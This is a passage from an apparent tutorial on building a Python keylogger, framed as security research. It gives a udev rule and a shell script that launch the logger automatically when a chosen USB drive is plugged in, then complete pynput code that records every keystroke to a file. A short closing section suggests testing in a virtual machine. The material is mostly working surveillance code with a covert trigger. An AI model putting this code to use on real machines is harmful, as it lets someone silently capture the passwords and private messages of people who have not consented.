Building a Python Keylogger: A Security Researcher’s development to Understanding Keystroke Logging

Setting up USB Autorun (for testing):

1. Windows: You would need an autorun.inf file on the USB, but keep in mind this is typically disabled by default for security.

2. Linux/macOS: You can set up a udev rule on Linux that triggers a script when a USB drive is inserted.

Here’s an example of how you might trigger your Python script on Linux when a USB drive is inserted using udev rules.

Steps for Linux Setup:

1. Create udev rule: First, create a udev rule to detect the USB drive and execute the Python script.

   Create the file /etc/udev/rules.d/99-usb-keylogger.rules:

   sudo nano /etc/udev/rules.d/99-usb-keylogger.rules
   

   Add the following content:

   ACTION=="add", ATTRS{idVendor}=="XXXX", ATTRS{idProduct}=="YYYY", RUN+="/path/to/keylogger.sh"
   

   Replace XXXX and YYYY with the actual vendor ID and product ID of your USB. You can find them by running lsusb after inserting the USB.

2. Create a shell script to run the Python keylogger:

   Save this file as keylogger.sh in /path/to/keylogger.sh (make sure the path matches the udev rule):

   #!/bin/bash
   python3 /path/to/keylogger.py &
   

   Make the script executable:

   chmod +x /path/to/keylogger.sh
   

3. Test: When you plug in the USB drive, the keylogger.sh script should be triggered, which in turn starts the Python keylogger.

Python Keylogger (Same as Above):

from pynput.keyboard import Key, Listener

log_file = "/path/to/keystrokes.txt"

def on_press(key):
    try:
        with open(log_file, "a") as f:
            f.write(f"{key.char}")
    except AttributeError:
        with open(log_file, "a") as f:
            f.write(f" [{key}] ")

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Testing Environment

To safely test these kinds of setups:

• Use a virtual machine: This ensures that any experiments are isolated and won’t affect your main system.
• Have clear logs: Log all activity to better understand the behavior and outcomes.